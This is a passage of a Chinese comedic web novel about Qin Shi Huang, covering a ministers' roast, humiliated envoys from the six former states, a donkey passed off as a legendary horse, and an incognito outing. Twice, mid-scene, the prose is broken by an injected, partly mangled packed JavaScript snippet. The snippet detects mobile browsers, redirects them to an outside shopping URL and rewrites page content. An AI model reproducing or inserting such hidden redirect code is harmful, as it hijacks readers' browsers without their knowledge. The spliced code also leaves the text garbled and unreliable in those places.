所有人的目光都集中在他身上。赵高吐槽了工作强度,蒙恬吐槽了财政支出,王绾吐槽了家庭关系。李斯还能吐槽什么? 嬴政看着他,似笑非笑:“李斯,该你了。你是朕的丞相,最了解朕。说吧,朕还有什么缺点?” 李斯站起身,整理了一下衣冠,对着嬴政深深一拜。 “陛下,臣要说的,不是具体的某件事,而是……陛下您这个人。” “哦?” “陛下您雄才大略,横扫六合,统一天下,功盖三皇,德超五帝。”李斯先是一顿彩虹屁,然后话锋一转,“但是,陛下您最大的缺点,就是……太完美了。” “太完美?”嬴政皱眉,“这算什么缺点?” “正因为您太完美,太强大,太无所不能,”李斯抬起头,直视着嬴政的眼睛,“所以,您不相信任何人,也不依赖任何人。您觉得这天下,只有您自己能扛得起。您把所有担子都揽在自己身上,不允许自己有丝毫的软弱和错误。” “这难道不好吗?”嬴政反问。 “不好。”李斯摇头,“陛下,您是人,不是神。是人就会累,就会犯错。您总是把自己绷得那么紧,就像一张拉满的弓,时间久了,会断的。” “臣等之所以怕您,敬您,不仅仅因为您是皇帝,更因为……您从未在臣等面前,展现过一丝一毫的脆弱。您总是高高在上,让人无法靠近。” “陛下,您知道吗?有时候,臣等更希望,您能偶尔对臣等发发牢骚,说说您的烦恼,甚至……骂臣等几句。那样,臣等才会觉得,您是活生生的,是离臣等很近的……朋友。” 李斯说完,大殿内一片寂静。 嬴政怔怔地看着李斯,许久没有说话。 朋友。 这个词,对他来说,太陌生了。 他有过朋友吗?或许小时候有,但自从坐上这个位置,他就没有朋友了。只有臣子,只有敌人。 “李斯……”嬴政喃喃道。 “陛下,”李斯跪倒在地,“臣今日之言,句句肺腑。若陛下觉得臣大逆不道,臣甘愿受罚。” 嬴政站起身,走到李斯面前,沉默良久,突然伸出手,将他扶了起来。 “李斯,你说得对。”嬴政的声音有些低沉,“朕……确实很累。” 他环顾四周,看着赵高、蒙恬、王绾,又看了看李斯,脸上露出一抹释然的苦笑。 “原来,在你们眼里,朕是这样的。” “陛下……”四人齐声唤道。 “好了,”嬴政深吸一口气,重新坐回榻上,给自己倒了杯酒,又给四人各倒了一杯,“今晚的‘吐槽大会’,到此结束。你们说的,朕都听进去了。” 他举起酒杯:“来,陪朕喝一杯。今晚,朕不是皇帝,你们也不是臣子。咱们就是……几个老朋友,喝酒,聊天,骂娘。” 四人愣了一下,随即都笑了,纷纷举起酒杯。 “敬陛下!” “敬……朋友!” 酒过三巡,气氛彻底放松下来。嬴政甚至开始跟蒙恬抱怨北疆的羊肉太膻,跟赵高吐槽奏章字迹太潦草,跟王绾打听哪家酒肆的姑娘最漂亮。 李斯看着这一幕,心中感慨万千。 或许,这大秦的江山,不需要一个完美无缺的神,只需要一个……有血有肉,会哭会笑,偶尔也想偷个懒的……皇帝。 窗外,月色如水,洒在咸阳宫的琉璃瓦上,泛着柔和的光。 这一夜,章台殿内,没有君臣之别,只有几个卸下了伪装的男人,在酒精和真话中,找到了久违的……温暖。 11. 当咸阳宫来了个六国使者团 咸阳宫的清晨,雾气尚未散尽,空气中便弥漫着一股不同寻常的躁动。 章台殿前,一队身着奇装异服的人马正在等候召见。他们有的身着宽袍大袖,头戴高冠,是齐地的儒生打扮;有的身披锦绣,腰佩美玉,带着楚地的奢靡之风;还有的身穿短褐,面色黧黑,透着一股燕赵之地的彪悍。 这便是所谓的“六国民间文化交流团”。 “哼,什么文化交流,不过是些丧家之犬,聚在一起想看看朕这位新主人,到底长了几只眼。”嬴政站在殿内的高窗后,俯瞰着下面那群心怀鬼胎的“使者”,嘴角勾起一抹冷峭的弧度。 “陛下,”李斯在一旁低声道,“这些人背后,恐怕都有旧贵族的影子。尤其是那位齐国来的田文,据说是田氏旁支;楚国来的屈平,更是屈氏嫡系。他们此来,名为献礼,实为挑衅。” “挑衅?”嬴政转过身,玄色冕服在晨光中泛着幽冷的光泽,“朕横扫六国,靠的是百万铁骑,难道还怕他们几句酸话?” “陛下神武,自然不惧。”李斯躬身道,“只是如今天下初定,若处理不当,恐生事端。” “朕自有分寸。”嬴政整理了一下衣袖,眼中闪过一丝玩味,“他们想探朕的底,朕就让他们看看,什么叫做……真正的‘天威难测’。” “宣——六国使者觐见!” 随着内侍尖细的唱喏声,一行人鱼贯而入。 大殿空旷,脚步声回荡。使者们虽然强作镇定,但眼神中的闪烁和紧握的拳头,暴露了他们内心的紧张。 “外臣,参见大秦皇帝陛下!” 声音参差不齐,有人作揖,有人拱手,还有人只是微微欠身,礼仪混乱,显然是有意为之。 嬴政高坐御座,冕旒垂落,遮住了他的表情。他没有立刻叫起,只是静静地看着他们,手指有一下没一下地敲击着龙椅扶手。 “笃、笃、笃……” 沉闷的敲击声在死寂的大殿中回荡,每一声都像是敲在众人的心尖上。空气仿佛凝固了,压抑得让人喘不过气。 终于,齐使田文忍不住了,他直起身,强笑道:“陛下,外臣等远道而来,特备薄礼,以贺陛下……” “哦?”嬴政终于开口,声音平淡,却带着一股无形的威压,“既然是贺礼,为何不跪?” 田文脸色一变:“陛下,我齐地礼仪……” “这里是秦地。”嬴政打断他,语气骤然转冷,“进了咸阳宫,就要守朕的规矩。不跪者,视为不敬,拖出去,斩。” 话音刚落,殿外立刻涌入两名甲士,按住了田文的肩膀。 “陛下息怒!”其他使者吓得魂飞魄散,连忙跪倒在地,“外臣等不知礼数,望陛下恕罪!” 田文脸色惨白,挣扎了几下,最终还是被按着跪了下去,额头触地,声音颤抖:“外臣……知罪。” 嬴政挥挥手,甲士退下。他身体微微前倾,目光扫过跪了一地的使者,嘴角微扬:“这才对。说吧,带了什么好东西,让朕开开眼。” 使者们惊魂未定,楚使屈平深吸一口气,率先开口,试图挽回颜面:“陛下,外臣带来我楚地特产的‘清酒’,乃用云梦泽旁稻米所酿,清冽甘醇,天下无双,特献与陛下品尝。” “哦?天下无双?”嬴政挑眉,“呈上来。” 内侍接过酒壶,为嬴政斟满一杯。酒液清澈,香气扑鼻。 嬴政端起酒杯,闻了闻,却没有喝,而是看向齐使田文:“田使者,你带了什么?” 田文连忙道:“外臣带来齐地‘千里莼羹’,此羹需用淄水之莼,泰山之泉,佐以海错,鲜嫩无比,乃我齐地一绝。” “一绝?”嬴政笑了笑,放下酒杯,“既然如此,那便一起尝尝。” 他挥挥手,内侍立刻为每位使者都倒上了一碗秦酒,又端上了热气腾腾的莼羹。 “诸位远来是客,朕先干为敬。”嬴政举起面前的秦酒,一饮而尽。 使者们面面相觑,只好硬着头皮,端起面前的秦酒。 这秦酒,色如琥珀,浓稠挂杯,闻着便有一股辛辣之气。 田文皱了皱眉,他是齐地贵族,平日喝的都是清淡的果酒,何曾见过这等烈酒?但当着嬴政的面,不敢不喝,只得闭着眼,一口灌下。 “咳咳咳!” 酒液入喉,如同火烧,田文被呛得满脸通红,眼泪直流。 屈平也好不到哪去,他喝惯了甜腻的楚酒,这秦酒下肚,只觉得一股热气直冲脑门,眼前阵阵发黑。 “如何?”嬴政看着他们,慢悠悠地问道。 “好……好酒!”田文强忍着不适,竖起大拇指,“烈……烈性!” “既然是好酒,那就多喝点。”嬴政拍了拍手,“蒙恬。” “臣在!”蒙恬大步走出,手里还拎着一个巨大的酒坛。 “陪诸位使者,好好喝几杯。” “诺!”蒙恬咧嘴一笑,走到田文面前,直接给他满上,“田使者,请!” 田文看着面前满满一大碗酒,脸都绿了。 半个时辰后。 大殿内一片狼藉。 田文趴在案几上,嘴里嘟囔着“好酒……好酒……”,已经彻底醉死过去。 屈平抱着大殿的柱子,一边蹭一边唱:“沧浪之水清兮……可以濯我缨……沧浪之水浊兮……可以濯我足……”唱到动情处,还试图去解柱子的“腰带”。 其他使者也是东倒西歪,丑态百出。 嬴政坐在御座上,慢条斯理地品着茶,看着下面这群“醉鬼”,眼中闪过一丝讥诮。 “就这点酒量,也敢来咸阳撒野?” 酒醒之后,使者们老实了许多,但眼神中的不服气却更浓了。 燕使高渐离(此高渐离非彼刺秦的高渐离,仅为同名虚构人物)站起身,他是燕地有名的乐师,此次前来,便是想用燕地的“慷慨悲歌”来挫挫秦人的锐气。 “陛下,”高渐离拱手道,“外臣不才,略通音律。燕赵之地,多慷慨悲歌之士,外臣愿为陛下奏一曲《易水寒》,以助雅兴。” “《易水寒》?”嬴政放下茶杯,似笑非笑地看着他,“可是当年荆轲刺秦时,你在易水边唱的那首?” 高渐离脸色一白,赶紧解释:“陛下误会,此曲乃是……” “无妨。”嬴政摆摆手,“既然是燕地名曲,那便奏来听听。” 高渐离松了口气,取出随身携带的筑,席地而坐,调整呼吸。 “风萧萧兮易水寒,壮士一去兮不复还……” 筑声激越,歌声苍凉,带着一股亡国之痛的悲怆和决绝。大殿内的气氛瞬间变得凝重,一些秦臣也露出了动容之色。 一曲终了,高渐离放下筑,眼中带着一丝得意和挑衅:“陛下以为如何?” 嬴政点点头:“甚好。悲凉慷慨,确是燕地之风。” 高渐离心中一喜,正要谦虚两句,却听嬴政话锋一转。 “不过,朕觉得,这曲子……太丧气了。” 高渐离笑容僵住。 “我大秦如今一统天下,四海升平,当奏盛世之音,岂能听这等亡国之调?”嬴政站起身,走到高渐离面前,居高临下地看着他,“既然高使者精通音律,那便为朕演奏一曲我大秦的军歌吧。” 他拍了拍手:“来人,把编钟给高使者抬上来。” “咚、咚、咚!” 几名力士抬着一套巨大的编钟走了进来,放在大殿中央。编钟金光闪闪,气势恢宏,每一口钟都比高渐离的头还大。 高渐离看着那套编钟,傻眼了。他是乐师,擅长的是筑、琴这种丝弦乐器,何时碰过这种大型打击乐? “这……陛下,外臣……”高渐离冷汗直流。 “怎么?不会?”嬴政挑眉,“燕地乐师,连编钟都不会敲?那你这‘略通音律’,略得有点多啊。” 高渐离脸色涨红,恨不得找个地缝钻进去。 “既然不会,那就学。”嬴政淡淡道,“朕给你三天时间,学会演奏《秦风·无衣》。学不会……这编钟,你就扛着回燕地去吧。” 高渐离:“……”他看着那比自己还重的编钟,眼前一黑,差点晕过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387652|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连番受挫,使者们彻底没了脾气,只想赶紧结束这次“朝贺”,逃离这个可怕的地方。 然而,嬴政似乎并不打算就这么放过他们。 “诸位使者远道而来,想必对我咸阳宫颇为好奇。”嬴政走下御座,做了个“请”的手势,“朕带诸位,参观参观。” 使者们面面相觑,只能硬着头皮跟上。 咸阳宫依山而建,规模宏大,气势磅礴。嬴政走在前面,一边走,一边如数家珍地介绍。 “此处,原是赵王宫的舞榭歌台。”嬴政指着一处高台,“朕觉得样式不错,便让人原样拆了,搬到这里。” 赵使脸色一僵。 走到一处偏殿,嬴政停下脚步,拍了拍殿内一根粗大的柱子:“这根柱子,是当年楚王宫正殿的顶梁柱。据说,楚王当年就是抱着这根柱子,哭着求饶的。” 楚使屈平脸色惨白,身体微微颤抖。 继续前行,来到一处花园。嬴政指着假山旁一块不起眼的石头:“此石,来自齐地泰山。当年齐王祭天,便是跪在此石之上。朕觉得,此石沾了天子之气,便将它运了回来,放在此处,供人瞻仰。” 齐使田文死死咬着嘴唇,指甲深深掐进掌心。 一圈逛下来,使者们面如死灰。这哪是咸阳宫?这分明是一座由六国宫殿的“残骸”拼凑起来的“战利品博物馆”!每一砖一瓦,都在无声地诉说着大秦的铁骑是如何踏破他们的家园,他们的君王是如何屈辱地臣服。 最后,嬴政带着他们登上咸阳宫最高的望夷台。 寒风猎猎,吹动众人的衣袍。站在台上,可以俯瞰整个咸阳城,街道纵横,车水马龙,一派繁华景象。 “诸位,”嬴政转过身,背对着万里河山,目光平静地看着这群失魂落魄的使者,“觉得朕这咸阳宫,如何?” 使者们低下头,不敢回答。 “回去告诉你们的主子,”嬴政的声音不大,却清晰地传入每个人耳中,“天下虽大,但已无六国,只有大秦。咸阳宫虽远,但朕的脚步,可以到达天下的每一个角落。” 他顿了顿,语气变得温和,却带着一股令人胆寒的寒意:“他们若想来咸阳看看,朕随时欢迎。若不想来……” “朕也可以派人,请他们来。” 当晚,六国使者团连晚宴都没敢参加,连夜收拾行李,灰溜溜地离开了咸阳。 据说,他们回去后,各自的主子听闻了咸阳宫的经历,都沉默了许久。 原本蠢蠢欲动的复国势力,仿佛一夜之间销声匿迹。 原本私下串联的旧贵族,纷纷闭门谢客,低调做人。 原本还在边境试探的游侠,悄然退去,不知所踪。 大秦的边境,迎来了难得的宁静。 半年后,嬴政在章台殿批阅奏章,李斯进来汇报。 “陛下,各地暗探来报,六国旧贵族近来异常安静,无任何异动。” 嬴政头也不抬,淡淡道:“意料之中。一群欺软怕硬之辈,吓破了胆,自然就老实了。” “陛下圣明。”李斯由衷赞叹,“只是……臣有一事不明。” “说。” “陛下当日为何不直接杀了那些使者,以绝后患?反而要费心陪他们演戏?” 嬴政放下笔,抬起头,眼中闪过一丝深邃的光芒:“杀人,是最简单的办法,但也是最蠢的办法。杀了他们,只会激起更多的仇恨,让那些躲在暗处的老鼠更加疯狂。” “朕要的,不是他们的命,而是他们的恐惧。” “让他们活着回去,把在咸阳宫的所见所闻,原原本本地告诉他们的主子。让他们知道,朕不仅拥有百万铁骑,更拥有他们无法想象的威势和手段。让他们在恐惧中颤抖,在绝望中等待,直到……彻底死心。” 李斯恍然大悟,深深拜服:“陛下深谋远虑,臣不及也。” 嬴政重新拿起笔,蘸了蘸朱砂,在竹简上写下了一个苍劲有力的“秦”字。 “这天下,是朕的。谁若不服,尽管来试。” “朕,随时奉陪。” 12. 关于陛下想养一匹马结果养了头驴这件事 咸阳宫,御马苑。 嬴政站在高高的看台上,俯瞰着马场中奔腾的骏马,眉头微皱。 “就这些?”他问身旁的太仆(掌管车马的官员)公孙贺。 公孙贺躬身答道:“回陛下,此乃我大秦最精良的战马,皆是河西良种,日行千里,耐力惊人。” “日行千里?”嬴政瞥了他一眼,“蒙恬上次从北疆送回的战报说,匈奴人的马,能日行一千二百里,且耐寒耐渴,在雪地里也能刨草根吃。你这马,能行吗?” 公孙贺冷汗下来了:“陛下,匈奴马虽耐苦,然体型矮小,爆发力不足,不如我秦马雄壮……” “朕不要听这些。”嬴政打断他,指着马场中一匹通体雪白、神骏非凡的汗血宝马,“那匹,叫什么?” “回陛下,那是大宛进贡的‘照夜玉狮子’,确实是万里挑一的神驹。”公孙贺连忙道。 嬴政点点头,走下看台,来到那匹白马前。白马警惕地看着他,打了个响鼻,前蹄刨地,显得桀骜不驯。 “有点意思。”嬴政伸出手,想要抚摸马颈。 白马突然头一甩,张开大嘴,露出森白的牙齿,朝着嬴政的手咬去! “陛下小心!”公孙贺大惊失色。 然而,嬴政动作更快,他手腕一翻,精准地抓住了白马的笼头,另一只手顺势在马颈上重重一拍。 “啪!” 白马吃痛,发出一声嘶鸣,身体一颤,竟被嬴政这一拍之力压得低下头去,眼中闪过一丝畏惧。 “好马。”嬴政松开手,满意地点点头,“性子烈,朕喜欢。不过……” 他话锋一转,看着公孙贺:“这马,还是不够‘野’。” “野?”公孙贺一愣。 “对,野。”嬴政负手而立,望着北方,“朕要的不是这种被人驯服得服服帖帖的宫廷马,朕要的是那种……能在草原上追风逐电,能在狼群中昂首长嘶,能与朕心意相通、并肩作战的……天马。” “天马……”公孙贺喃喃道,突然眼睛一亮,“陛下,臣听闻,陇西以西,有山名‘祁连’,山中有一种野马,通体乌黑,四蹄踏雪,迅如闪电,声如惊雷,当地人称之为‘乌骓’,乃马中之王!” “乌骓?”嬴政眼中闪过一丝精光,“好名字。朕就要它。” “只是……”公孙贺面露难色,“此马极为罕见,且性情暴烈,极难捕捉。臣恐……” “朕给你三个月。”嬴政淡淡道,“三个月后,朕要在御马苑看到它。若是没有……” 他瞥了公孙贺一眼,眼神冰冷:“你这太仆,就让给能抓到马的人当吧。” “臣……遵旨!”公孙贺咬牙领命,心里却叫苦不迭。三个月,抓传说中的乌骓,这简直比登天还难! 三个月后,咸阳宫。 公孙贺跪在殿前,身后跟着几名随从,牵着一头……嗯,生物。 那生物通体乌黑,毛发油亮,体型比普通马略小,但肌肉结实,四蹄雪白,耳朵长而尖,此刻正歪着头,好奇地打量着四周,嘴里还叼着半根胡萝卜,“咔嚓咔嚓”嚼得正香。 “陛下,”公孙贺硬着头皮道,“臣……臣幸不辱命,历经千辛万苦,终于在那祁连山深处,寻得这……这‘乌骓’神驹!” 嬴政放下手中的竹简,走到殿外,目光落在那头“生物”身上,眉头微皱。 “这就是乌骓?” “是……是的!”公孙贺赶紧道,“陛下您看,通体乌黑,四蹄踏雪,与传闻一般无二!而且此兽……此马,性情……呃,活泼,耐力极佳,在山路上如履平地!” 嬴政走近了些,那“乌骓”看到他,似乎并不害怕,反而凑过来,用鼻子嗅了嗅他的手,然后打了个响鼻,喷了嬴政一脸口水。 “大胆!”旁边的侍卫厉声喝道。 “无妨。”嬴政擦了擦脸,看着这头眼神清澈(甚至有点愚蠢)的生物,突然伸出手,摸了摸它的耳朵。 那生物似乎很享受,眯起眼睛,还用脑袋蹭了蹭嬴政的手心,喉咙里发出“嗯啊嗯啊”的叫声。 嬴政的手顿住了。 他转头看向公孙贺,眼神危险:“公孙贺,你告诉朕,这是什么叫声?” 公孙贺冷汗涔涔:“回……回陛下,此乃……此乃天马之音,不同凡响……” “天马之音?”嬴政冷笑一声,指着那生物,“朕再问你一遍,这是什么?” “是……是马!”公孙贺咬牙坚持。事到如今,他只能死撑到底了。 “好,是马。”嬴政点点头,突然对一旁的蒙毅道,“蒙毅,去牵匹母马来。” “诺。”蒙毅领命而去。 很快,一匹温顺的母马被牵了过来。 嬴政指着那头“乌骓”:“去,让它俩认识认识。” “诺。”蒙毅牵着“乌骓”走向母马。 “乌骓”看到母马,似乎很感兴趣,立刻凑了过去,围着母马转了两圈,然后…… 它突然人立而起,前蹄搭在母马背上,做出了一个标准的……求偶动作。 “嘶——!” 母马受惊,发出一声惊恐的嘶鸣,一脚将“乌骓”踹开。 “乌骓”被踹了个跟头,爬起来,甩了甩脑袋,一脸茫然地看着母马,似乎不明白对方为什么拒绝自己。 “嗯啊——!” 它委屈地叫了一声,声音洪亮,穿透力极强,回荡在整个咸阳宫上空。 这一刻,所有人都沉默了。 这叫声,这体型,这求偶方式…… 这特么根本不是马,是头驴啊!还是头公驴! 嬴政缓缓转过头,看着面如死灰的公孙贺,语气平静得可怕:“公孙贺,这就是你给朕抓的……天马?” 公孙贺噗通一声跪倒在地,磕头如捣蒜:“陛下饶命!陛下饶命!臣……臣也是没办法啊!那乌骓神驹根本不存在,臣找了三个月,只找到这头……这头黑驴,看着……看着还挺像那么回事,就……就……” “就拿来糊弄朕?”嬴政替他补完了后半句。 “臣罪该万死!臣罪该万死!”公孙贺哭喊道。 嬴政看着那头还在试图向母马献殷勤的黑驴,又看了看跪在地上的公孙贺,突然笑了。 “好,很好。” 他走到黑驴面前,黑驴似乎感觉到这个人类不好惹,警惕地后退了一步,但嘴里还在嚼着胡萝卜,眼神无辜。 “既然你说是天马,那它就是天马。”嬴政拍了拍黑驴的脑袋,“从今日起,它就养在御马苑。至于你……” 公孙贺浑身一颤。 “革去太仆之职,贬为……马夫。”嬴政淡淡道,“专门负责伺候这头‘天马’。它若是瘦了一斤,或是掉了一根毛,你就去骊山,给朕的石像当马夫。” 公孙贺:“……诺,谢陛下不杀之恩!” 于是,这头名叫“乌骓”的黑驴,正式入驻了御马苑。 起初,御马苑的马倌们都很紧张,毕竟这是陛下“钦点”的神驹,虽然看着有点……那啥,但万一真有什么神异之处呢? 然而,很快他们就发现自己想多了。 “乌骓”在御马苑的生活,可以用四个字形容:无法无天。 它不像其他马那样,对马倌们毕恭毕敬。它看谁不顺眼,上去就是一蹄子。 它抢其他马的草料,抢不过就躺在地上打滚,发出震耳欲聋的叫声,直到马倌们给它单独开小灶。 它甚至……试图追求御马苑里最漂亮的那匹汗血母马,虽然每次都被踹飞,但屡败屡战,越挫越勇。 短短半个月,御马苑的骏马们见了它都绕道走,马倌们更是把它当祖宗供着。 “陛下,”蒙毅实在看不下去了,向嬴政汇报,“那头驴……不,那匹‘乌骓’,把御马苑搅得天翻地覆,再这样下去,御马苑的马都要被它带坏了。” “带坏?”嬴政挑眉,“怎么带坏?” “它……它教别的马偷懒,教别的马抢食,还……还教别的马……”蒙毅脸色古怪,“学驴叫。” 嬴政:“……” “走,去看看。”嬴政来了兴趣。 来到御马苑,远远就听到一阵此起彼伏的叫声。 “嗯啊——!” “嗯啊——!” 只见“乌骓”站在马场中央,昂首挺胸,叫得正欢。周围围了一圈骏马,竟然也跟着它一起叫,虽然学得四不像,但场面极其壮观。 看到嬴政来了,马倌们吓得魂飞魄散,赶紧跪下。 “乌骓”看到嬴政,眼睛一亮,立刻颠颠地跑了过来,用脑袋蹭嬴政的手,嘴里还叼着一根不知道从哪偷来的胡萝卜,讨好地往嬴政手里塞。 嬴政看着它那副“小弟孝敬大哥”的架势,又看了看周围那些“学坏”的骏马,突然哈哈大笑。 “有意思,真有意思。” 他接过胡萝卜,咬了一口,拍了拍“乌骓”的脑袋:“你这畜生,倒是有点本事。既然它们都听你的,那以后这御马苑,就归你管了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387653|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“乌骓”似乎听懂了,得意地昂起头,又“嗯啊”叫了一声,仿佛在说:包在我身上! 日子一天天过去,“乌骓”成了咸阳宫的一道奇景。 它虽然是一头驴,但地位极高。除了嬴政,谁的面子都不给。 李斯来视察,它对着李斯的官袍撒了泡尿。 胡亥来骑马,它把胡亥顶进了马粪堆。 甚至连黑煞(陛下的猫)路过,它都要追着咬人家的尾巴。 然而,就是这样一头混世魔王,却在一次意外中,立了大功。 这日,嬴政带着“乌骓”去上林苑狩猎。随行的还有几位公子和重臣。 “乌骓”虽然跑得不快,但耐力极好,而且极其机灵,总能带着嬴政找到猎物藏身之处。 “父皇,这‘乌骓’真是神驹!”扶苏看着“乌骓”叼回一只野兔,由衷赞叹道。 “哼,不过是头蠢驴罢了。”胡亥在一旁酸溜溜地说道。 就在这时,异变突生。 “嗷呜——!” 一声凄厉的狼嚎响起,紧接着,十几双绿油油的眼睛从草丛中亮起。 是狼群! “护驾!护驾!”侍卫们大惊,立刻将嬴政等人护在中间。 狼群显然饿极了,不顾侍卫们的刀剑,疯狂地扑了上来。 “乌骓”原本趴在嬴政脚边打盹,听到动静,立刻站了起来。它看到狼群,非但没有害怕,反而兴奋地刨了刨蹄子。 “嗯啊——!” 它发出一声惊天动地的吼叫,声音之大,震得周围的树叶都簌簌落下。 狼群被这突如其来的巨大声响吓了一跳,攻势一缓。 就在这电光火石之间,“乌骓”动了。 它没有逃跑,而是像一道黑色的闪电,猛地冲了出去,一头撞向冲在最前面的头狼! “砰!” 头狼猝不及防,被撞得飞了出去,惨叫着摔在地上。 “乌骓”得势不饶人,冲进狼群,又踢又咬,专攻狼的下三路。它的蹄子坚硬如铁,一蹄子下去,就能踢断狼的肋骨。 狼群被这头不按常理出牌的“怪物”打懵了,很快溃不成军,夹着尾巴逃跑了。 “乌骓”站在狼群尸体中间,昂首挺胸,身上沾满了狼血,眼神睥睨,宛如战神下凡。 所有人都看呆了。 “这……这真是驴?”胡亥张大了嘴。 “不,”嬴政走上前,看着“乌骓”,眼中满是欣赏,“这是朕的……大将军。” 回到咸阳宫,嬴政亲自为“乌骓”洗刷身体,喂它吃最鲜嫩的胡萝卜。 “乌骓”舒服地眯着眼,享受着帝王的服侍。 “陛下,”公孙贺(前太仆,现马夫)小心翼翼地问道,“这‘乌骓’……还要送回御马苑吗?” “送回御马苑?”嬴政挑眉,“送回御马苑,让它继续教别的马学驴叫?” 公孙贺:“……”那不然呢? “不用了。”嬴政拍了拍“乌骓”的脑袋,“从今日起,它就养在章台殿外。朕上朝,它就在殿外守着;朕批阅奏章,它就在窗边陪着。” “啊?”公孙贺愣住了,“这……这不合规矩吧?毕竟是……驴。” “规矩?”嬴政笑了笑,“朕就是规矩。再说了……” 他看着“乌骓”那副“我是老大我怕谁”的样子,缓缓道:“马,天下有的是。但能为了朕,敢跟狼群拼命的驴,全天下,就这一头。” “乌骓”似乎听懂了,得意地甩了甩尾巴,打了个响鼻,然后…… “噗——” 放了一个悠长而响亮的屁。 嬴政:“……” 公孙贺:“……” “咳咳,”嬴政面不改色地站起身,“虽然味道有点大,但……胜在真诚。” 他看向远方,目光深邃:“传旨,即日起,封‘乌骓’为……‘护国神驴’,赐金鞍一副,享三品大员俸禄。” “诺……”公孙贺嘴角抽搐着领命。 从此,咸阳宫里多了一道奇特的风景。 每当嬴政在章台殿内处理国事,殿外总会趴着一头通体乌黑、四蹄踏雪的黑驴,时而打盹,时而啃两口胡萝卜,时而对着路过的官员“嗯啊”叫两声,吓得官员们赶紧加快脚步。 而嬴政,每当批阅奏章累了,抬头看到窗外那个熟悉的身影,嘴角总会不自觉地上扬。 “蠢驴。” 他低声骂了一句,语气里却带着一丝不易察觉的宠溺。 13. 陛下微服私访记 章台殿内,烛火摇曳,映照着堆积如山的竹简。 嬴政放下手中的朱笔,揉了揉发胀的眉心。每日里面对的都是这些枯燥的奏章:某郡饥荒请求开仓,某县叛乱请求镇压,某地祥瑞请求封赏……周而复始,无穷无尽。 “李斯。”他唤道。 “臣在。”李斯连忙放下手中的笔,躬身应道。 “你说,这宫外……是什么样子的?”嬴政站起身,走到窗前,望着远处咸阳城的点点灯火。 李斯一愣,小心翼翼道:“回陛下,宫外……自然是百姓安居乐业,感念陛下恩德,一派祥和之景。” “朕问的不是这个。”嬴政转过身,眼中闪过一丝不耐,“朕问的是,那些百姓,平日里吃什么?穿什么?在街上,都说些什么?” “这……”李斯一时语塞。他虽是丞相,但平日里出入皆是高门大户,哪里真正了解市井小民的生活? “朕在这宫里待久了,都快忘了这天下是什么味道了。”嬴政负手而立,语气中带着一丝不易察觉的……向往,“明日,朕要出去走走。” “陛下!”李斯大惊,“万万不可!宫外鱼龙混杂,恐有危险!若是被六国余孽……” “朕意已决。”嬴政打断他,“带上蒙毅,换身便服。你,扮作账房先生。蒙毅,扮作护卫。至于朕……”他嘴角勾起一抹玩味的笑,“就扮作……出来游玩的富家公子。” 李斯看着陛下那不容置疑的眼神,知道劝不动了,只能在心里默默叹了口气,开始盘算明天要带多少暗卫,以及……该不该提前通知咸阳令清个场。 “记住,”嬴政仿佛看穿了他的心思,“不许惊动任何人。朕要看的,是真正的民间。” “诺……”李斯有气无力地应道。 次日清晨,咸阳街头。 早市刚开,街上熙熙攘攘,叫卖声、讨价还价声、孩童的哭闹声混杂在一起,充满了鲜活的生活气息。 嬴政换上了一身质地上乘的深衣,虽然去掉了龙纹,但依旧掩盖不住那股久居人上的威仪。李斯穿着半旧的儒衫,戴着顶小帽,手里拿着个算盘,怎么看怎么别扭。蒙毅则是一身劲装,腰佩长剑,警惕地观察着四周。 “陛下……不,公子,”李斯压低声音,“咱们先去哪儿?” 嬴政深吸了一口带着食物香气的空气,目光落在街角一家生意红火的面馆上:“就那儿吧。朕……我饿了。” 三人走进面馆,找了个靠窗的位置坐下。店里人声鼎沸,没人注意到这三个气质不凡的“外地人”。 “三位客官,吃点什么?”店小二热情地招呼。 “来三碗你们这儿的招牌面。”嬴政道。 “好嘞!三碗羊肉臊子面!” 很快,三大碗热气腾腾的面条端了上来。面条宽厚,上面铺着满满的羊肉臊子,撒着葱花,香气扑鼻。 蒙毅和李斯早就饿了,拿起筷子就要开动,却见嬴政没有动。 “公子?”李斯疑惑。 嬴政拿起筷子,挑起一根面条,看了看,又闻了闻,然后送进嘴里,慢慢咀嚼。 李斯和蒙毅紧张地看着他,仿佛在等待陛下的最终裁决。 嬴政咽下面条,放下筷子,微微皱眉:“汤头尚可,但面条不够劲道,羊肉腥气未除,且火候稍过。不如宫里……不如我府上的厨子做得好。” 他的声音不大,但在嘈杂的面馆里,却异常清晰。 周围瞬间安静了下来。 正在擦桌子的店小二动作停住了,正在吃面的食客们也抬起头,看向这边。 “这位客官,”一个粗犷的声音响起,面馆老板,一个满脸横肉的大汉,拎着把菜刀走了过来,脸色不善,“您刚才说什么?我这面……不如您府上的?” 李斯吓得脸都白了,赶紧站起身,挡在嬴政面前:“老板息怒!我家主人……嘴刁,不是那个意思!” “嘴刁?”老板把菜刀往桌上一拍,震得碗筷乱跳,“我这‘老张头臊子面’,在咸阳城开了二十年,谁不说一声好?您这是……来砸场子的?” 蒙毅的手已经按在了剑柄上,眼神冰冷地盯着老板。 嬴政却依旧气定神闲,他推开李斯,看着老板,淡淡道:“我说的是事实。你这面,确实一般。” “你!”老板气得胡子都翘起来了,举起菜刀就要发作。 李斯眼疾手快,掏出一锭金子塞进老板手里,赔笑道:“老板,误会,都是误会!这面钱我们照付,多的算赔罪,您消消气,消消气!” 